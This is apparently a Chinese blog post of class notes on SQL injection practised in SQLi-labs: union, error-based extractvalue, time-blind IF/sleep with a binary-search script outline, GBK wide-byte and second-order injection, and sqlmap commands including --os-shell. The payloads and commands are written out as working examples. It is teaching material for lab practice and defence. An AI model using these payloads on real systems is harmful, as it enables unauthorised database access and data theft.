Skip to content
Kurisu
Go back

SQL 注入课堂深挖:报错注入的原理细节与盲注脚本化

基础系列里的 SQL 基础sqlmap 写过流程,这篇记录课堂里讲得更细的部分:报错注入为什么能带出数据、盲注怎么脚本化、几个 URL 编码的坑。

0x01 判型与回显位:三步标准动作

?id=1 and 1=2--+        -- 条件不成立页面异常 → 有注入(数字型无引号即生效)
?id=1' and 1=2--+       -- 需要闭合单引号 → 字符型
?id=1 order by 3--+     -- 3 正常 4 报错 → 3 列
?id=-1 union select 1,2,3--+  -- 负数让原查询为空,回显位显出来

几个细节值得单独记:

0x02 报错注入:extractvalue 到底在报什么错

extractvalue(目标XML文档, XPath路径) 本职是查 XML,攻击用它纯属”螺丝刀开罐头”:

?id=1' and extractvalue(1, concat(0x7e, (select database())))--+

原理拆开看只有一句话:XPath 路径必须以 / 开头,不满足格式就在解析阶段报错,而报错信息会回显被解析的内容——concat(0x7e, 查询结果)~ 开头,不合法,数据库在报错消息里把这个”非法路径”(即我们的查询结果)吐了出来。课堂三个易错点:

0x03 时间盲注:从手测到二分脚本

页面无回显时用 sleep() 做信道:IF(条件, sleep(3), 0)——条件真则响应慢 3 秒。手测一两个字符可以,批量取数据必须脚本化。课堂演示的脚本思路:

# 按位二分:对每个字符位置,构造 ascii(substr(db,i,1))>mid 的 IF-sleep 条件
# 根据响应时间 > 阈值 判断真假,log2(128)≈7 次请求确定一个字符
import requests, time
URL = "http://<靶机>/Less-9/?id=1' and IF(ascii(substr(database(),{pos},1))>{mid},sleep(2),0)--+"

课堂现场踩的两个脚本坑:requests 没装(pip install);靶机 IP 手滑写错导致全sleep失败。调试心法是先用已知值验证脚本逻辑(比如先盲注出库名 security 的首字符),别一上来跑全量。

0x04 宽字节注入与二次注入

宽字节(GBK 场景):后端用反斜杠转义单引号(%5c%27),在编码为 GBK 时用 %df 吃掉 %5c 组合成一个汉字,单引号逃逸:

输入:  %df'
拼接:  %df%5c%27  →  GBK 解码为 "運'"  →  引号成功闭合

前提是数据库连接编码为 GBK 系(set names gbk),UTF-8 无此问题。

二次注入:首次注入的恶意内容被 addslashes 转义存入数据库(存储的是转义前的原始逻辑),后续某处直接从库里取出拼接执行时触发——转义只发生在输入侧,存储侧不复原。典型案例:注册用户名 admin'-- -,改密功能从 session 取出用户名拼 SQL 时完成注入。防御思路是参数化查询贯穿全链路,以及出库数据同样不信任。

0x05 sqlmap 与权限现实

sqlmap -u "http://<靶机>/Less-1/?id=1" --dbs --batch
sqlmap -u "..." --os-shell        # 需要 secure_file_priv 允许 + 知道 Web 绝对路径

--os-shell 的现实预期要放低:它依赖 into outfile 写文件,生产库往往 secure_file_priv=NULL 或权限降级——课堂实战案例里 SQL Server 的 sa 被降到 network service,能跑 dir/ipconfig 却传不了文件,上传的木马也继承低权限。注入拿到的是数据库的权限,不是服务器的——这句话是整个注入专题的题眼。

0x06 靶场纪律

老规矩再抄一遍:靶场练习发现真实漏洞不碰数据、不影响运营;高级绕过去读 SQLi-labs 源码学原理;真实场景封装进合法靶场练。

相关旧文


Share this post:

Previous Post
HTTPS 与 TLS 抓包原理:加密、哈希、编码到底差在哪
Next Post
XSS、文件上传、CSRF 与越权:一节课串完的 Web 漏洞攻防链